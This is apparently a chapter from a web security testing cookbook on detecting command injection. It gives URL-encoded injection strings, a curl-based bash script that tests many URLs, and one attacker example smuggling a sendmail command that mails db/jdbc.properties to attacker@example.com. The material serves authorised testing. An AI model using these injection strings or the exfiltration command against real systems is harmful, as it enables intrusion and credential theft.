1. Attempting Command Injection Interactively
1.1. Problem
Command injection is a method that an attacker can use to execute arbitrary
commands on the target server. An application is vulnerable to command
injection if it takes input from untrusted sources and inserts it into
commands sent to the underlying operating system without proper input
validation or output encoding.
1.2. Solution
Example 1 shows
several good strings that you can enter as input to test for command
injection on targets running Microsoft Windows.
Example 1. Test inputs for finding command injection vulnerabilities on
servers running Windows
%26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulns.txt %26
' %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulns.txt %26
" %26 echo Command Injection Vulnerability %3E%3E C%3A%5Ctemp%5Cvulns.txt %26
|
On Unix-like targets, inject the inputs shown in Example 2 instead.
Example 2. Test inputs for finding command injection vulnerabilities on
servers running Unix
%3B echo Command Injection Vulnerability %3E%3E %2Ftmp%2Fvulns.txt %3B
' %3B echo Command Injection Vulnerability %3E%3E %2Ftmp%2Fvulns.txt %3B
" %3B echo Command Injection Vulnerability %3E%3E %2Ftmp%2Fvulns.txt %3B
|
Then, on targets running Microsoft Windows, check whether the file
C:\temp\vulns.txt contains the string
“Command Injection Vulnerability.” On Unix-like targets, check the file
/tmp/vulns.txt for the same string.
If the string is present in those files, then the application is
vulnerable to command injection.
1.3. Discussion
The attacks simply insert a line of text in a file. However, an
attacker may execute malicious commands that may remove all directories
and files that the application has permissions to remove on the target
server’s filesystem, kill the web server process, e-mail a file
containing potentially sensitive information such as database
credentials to the attacker, and so on.
Note that the test inputs discussed earlier contain URL-encoded
characters to ensure that they do not get misinterpreted. The command
separator on Microsoft Windows is the & character (URL-encoded as %26), whereas the command separator on
Unix-like systems is the ; character
(URL-encoded as %3B). Typically, the
attacker’s goal is to turn a single operating system call that the
application developer intended into multiple operating system calls,
some of which perform malicious tasks. For example, the application may
simply be trying to read a file in Perl using vulnerable code like that
shown in Example 3.
Example 3. Sample line of Perl code vulnerable to command
injection
$messages=`cat /usr/$USERNAME/inbox.txt`.
|
If the USERNAME
variable is controlled by the attacker, the attacker could
insert something %3B sendmail
attacker%40example.com %3C db%2Fjdbc.properties %3B echo as
the USERNAME variable and cause the
application to execute a command line like that shown in Example 4.
Example 4. Commands executed as a result of processing injected
input
cat /usr/something ; sendmail attacker@example.com db/jdbc.properties ; echo /inbox.txt
|
The first and last commands will probably fail, but the one in the
middle injected by the attacker will email the file db/jdbc.properties to the attacker.
Before testing for this vulnerability using the method described
here, ensure that the directory C:\temp on Microsoft Windows and /tmp on Unix-like systems exists. Also, ensure
that the application has permissions to write to that directory and that
the file vulns.txt is empty or does
not exist.
2. Attempting Command Injection Systematically
2.1. Problem
When searching for
command injection in a small number of URLs. However, when there are a
large number of URLs to test, a systematic approach is needed.
2.2. Solution
First, run the script shown in Example 5 on any workstation
that can access the target web application. Here, we are assuming that
the target web application is running on Microsoft Windows. If it is running on
Unix, then OUTPUTFILE and COMMAND_SEPARATOR need to be modified.
Example 5. Script to systematically search for command injection
#!/bin/bash
CURL=/usr/bin/curl
# Temporary output file on target web server - ensure that the web
# application has permission to write to this location
OUTPUTFILE='C:\temp\vulns.txt'
# OUTPUTFILE=/tmp/vulns.txt
# A file with URLs to attack, one per line
# For a GET request, line should be http://<host>:<port>/<path>?<parameter>=
# For a POST request, line should be http://<host>:<port>/<path> <parameter>
URLFILE=urls.txt
# Command Separator for Windows is & (%26)
# Command Separator for UNIX is ; (%3B)
COMMAND_SEPARATOR=%26
# COMMAND_SEPARATOR=%3B
while read LINE
do
# Get the URL and PARAMETER for POST Requests
URL=${LINE% *}
PARAMETER=${LINE#* }
# Base64-encode the LINE such that we can inject it safely
# This will help us find the URL that is vulnerable
LINE_ENCODED=`echo ${LINE} | perl -MMIME::Base64 -lne 'print encode_base64($_)'`
INJECTION_STRING="%20${COMMAND_SEPARATOR}%20echo%20${LINE_ENCODED}%20%3E%3E%20"
INJECTION_STRING="${INJECTION_STRING}${OUTPUTFILE}%20${COMMAND_SEPARATOR}%20"
if [ "${URL}" != "${LINE}" ]; then
# If the LINE read from the URLFILE contains a space, we will get here.
# According to our URLFILE format, this indicates a POST request.
curl -f -s -F "${PARAMETER}=${INJECTION_STRING}" ${URL}
else
# If the LINE read from the URLFILE does not contain a space, we will get here.
# According to our URLFILE format, this indicates a GET request.
curl -f -s "${URL}${INJECTION_STRING}"
fi
RETCODE=$?
# check to see if curl failed or the server failed
if [ $RETCODE != 0 ]
then
echo "FAIL: (curl ${RETCODE}) ${LINE}"
else
echo "PASS: (curl ${RETCODE}) ${LINE}"
fi
done < ${URLFILE}
|
Then, save the script shown in Example 6 as reveal_command_injection.sh on the web server
being tested, and run it.
Example 6. Script to display list of command injection issues
#!/bin/bash
# The value of OUTPUTFILE from previous script
INPUTFILE=C:\\temp\\vulns.txt
# INPUTFILE=/tmp/vulns.txt
echo "The following URLs are vulnerable to command injection:"
while read LINE
do
LINE_DECODED=`echo ${LINE} | perl -MMIME::Base64 -lne 'print decode_base64($_)'`
echo $LINE_DECODED;
done < ${INPUTFILE}
|
Modify the script in Example 5 to use each of the
INJECTION_STRING values shown in Example 7. They represent different ways of
closing off the quotation marks that might be in the application’s
source code.
Example 7. Test inputs to find command injection vulnerabilities
${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
' ${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
" ${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
|
Of course, these strings will need to be URL-encoded
appropriately.
2.3. Discussion
Example 5 iterates
through all URLs provided to it and submits a command injection test
input to each. However, there is an important subtlety to note
here.
We are injecting URLs into a command line, but some common
characters in URLs can have special meanings at a command line. For
example, the ampersand (&) symbol
used to separate parameters in query strings is also a command separator
in Microsoft Windows. Consider what could happen if we tried injecting
the text in Example 8 into a
vulnerable application running Microsoft Windows.
Example 8. Example of potential problem if URLs are not encoded
& echo Command Injection at http://www.example.com?param1=value1¶m2= >>
C:\temp\vulns.txt
|
If the application is vulnerable to command injection, this might
get translated into the command shown in Example 9, which is really
the three individual commands shown in Example 10.
Example 9. Example of resulting command line if URLs are not
encoded
type C:\users\ & echo Command Injection at http://www.example.com?param1=value1¶m2=>>
C:\temp\vulns.txt.txt
|
Example 10. Example of resulting commands executed if URLs are not
encoded
type C:\users\
echo Command Injection at http://www.example.com?param1=value1
param2= >> C:\temp\vulns.txt.txt
|
None of the commands in Example 10 will
reveal whether the application is vulnerable to command injection. To
mitigate this problem, we Base64-encode the URLs before injecting them
on the command line. Base64 encoding uses only the characters A-Z, a-z,
0-9, + and /,
which are safe to use on Unix and Windows command lines.
Finally, after all URLs have been injected, Example 6 decodes all lines
in the vulns.txt file to reveal any
vulnerable URLs. The application is vulnerable to command injection if
Example 6 outputs any
URLs. If Example 6 does
not output any URLs, then no instances of command injection were found.